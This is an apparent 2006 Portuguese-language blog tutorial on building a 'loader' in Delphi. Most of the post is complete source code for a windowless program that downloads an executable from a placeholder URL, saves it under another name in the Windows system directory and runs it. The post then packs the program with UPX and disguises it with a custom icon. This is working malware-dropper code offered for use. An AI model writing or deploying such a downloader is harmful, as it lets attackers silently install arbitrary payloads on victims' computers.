Criando um LOADER em Delphi
Postado por Psychlo em September 12 2006 16:49:38
Bom vamos lá!

Playing The Ramones - Do You Remember Rock ´n Roll R - 03:34/192Kbps/44.1Khz

Essa música você encontra aqui no site é o Tributo aos The Ramones :)

-------------------x-------------------

Abra seu Delphi.
Clique em File>Close All
Agora sem nenhum projeto aberto, vá em File>New>Other...
Selecione Console Application e dê Ok


Maximize a janela que apareceu no canto esquerdo embaixo.
Você vai ver isso:


Altere a linha
{$APPTYPE CONSOLE}
Para
{$APPTYPE GUI}
Isso fará que sua aplicação não rode em DOS e sim em Windows.

Agora vá em File>Save All e salve seu projeto em alguma pasta com o nome de Loader.dpr


Agora adicione os seguintes comandos
program Loader;

{$APPTYPE GUI}

uses
  Windows, UrlMon;

function Path_(Dir: string): string;
begin
  Result := Dir;
  if (Dir[Length(Dir)] <> '\') then
    Result := Dir + '\';
end;

function PASTA: string;
var
  MeuBuffer: Array [0..255] of Char;
  retorno: Integer;
begin
  retorno := GetSystemDirectory(@MeuBuffer, SizeOf(MeuBuffer));
  if (retorno > 128) or (retorno = 0) then
    PASTA := ''
  else
    PASTA := MeuBuffer;
end;

begin
  URLDownloadToFile(nil, 'http://seusite.com/programa.exe',
    PChar(Path_(PASTA) + 'nome.exe'), 0, nil);
  WinExec(PChar(Path_(PASTA) + 'nome.exe'), SW_NORMAL);
end.




Agora vá em Project>Build Loader
E será criado um arquivo chamado Loader.exe na pasta que você salvou o projeto.

Ele tem 15Kbytes.
Agora vamos deixá-lo com 9KB.

Baixe o UPX, caso você não tenha, nesse link aqui:
http://psy.freehostia.com/site/upxinterface.zip

E comprima o Loader.exe


Pronto, seu LOADER está feito.

Caso você deseje adicionar um ícone utilize o ResHacker para adicionar o ícone porém faça antes de comprimir com o UPX porque depois não dá mais...

Abraços :)